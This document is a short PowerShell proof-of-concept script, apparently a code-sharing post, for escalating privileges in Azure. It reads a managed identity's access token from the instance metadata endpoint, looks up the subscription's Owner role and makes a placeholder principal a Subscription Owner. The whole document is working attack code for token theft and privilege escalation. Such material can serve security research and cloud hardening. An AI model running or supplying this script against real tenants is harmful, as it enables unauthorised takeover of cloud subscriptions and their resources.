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A simple PoC for using an Azure Managed Identity to add a user as a Subscription Owner
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| #---------Query MetaData for SubscriptionID---------# | |
| $response2 = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/instance?api-version=2018-02-01' -Method GET -Headers @{Metadata="true"} -UseBasicParsing | |
| $subID = ($response2.Content | ConvertFrom-Json).compute.subscriptionId | |
| #---------Get OAuth Token---------# | |
| $response = Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing | |
| $content = $response.Content | ConvertFrom-Json | |
| $ArmToken = $content.access_token | |
| #---------List Roles and Get Subscription Owner GUID---------# | |
| $roleDefs = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleDefinitions?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).Content | ConvertFrom-Json | |
| $ownerGUID = ($roleDefs.value | ForEach-Object{ if ($_.properties.RoleName -eq 'Owner'){$_.name}}) | |
| #---------List current Subscription Owners---------# | |
| $roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json | |
| $ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) | |
| Write-Host "Current 'Owner' Principal IDs ("($ownerList.Count)"):" | |
| $ownerList | Out-Host | |
| #---------Set JSON body for PUT request---------# | |
| $JSONbody = @" | |
| { | |
| "properties": { | |
| "roleDefinitionId": "/subscriptions/$subID/providers/Microsoft.Authorization/roleDefinitions/$ownerGUID", "principalId": "CHANGE-ME-TO-AN-ID" | |
| } | |
| } | |
| "@ | |
| #---------Add User as a Subscription Owner---------# | |
| $fullResponse = (Invoke-WebRequest -Body $JSONbody -Uri (-join("https://management.azure.com/subscriptions/",$subID,"/providers/Microsoft.Authorization/roleAssignments/",$ownerGUID,"?api-version=2015-07-01")) -Method PUT -ContentType "application/json" -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json | |
| #---------List updated Subscription Owners---------# | |
| $roleAssigns = (Invoke-WebRequest -Uri (-join('https://management.azure.com/subscriptions/',$subID,'/providers/Microsoft.Authorization/roleAssignments/?api-version=2015-07-01')) -Method GET -Headers @{ Authorization ="Bearer $ArmToken"} -UseBasicParsing).content | ConvertFrom-Json | |
| $ownerList = ($roleAssigns.value.properties | where roleDefinitionId -like (-join('*',$ownerGUID,'*')) | select principalId) | |
| Write-Host "Updated 'Owner' Principal IDs ("($ownerList.Count)"):" | |
| $ownerList | Out-Host |
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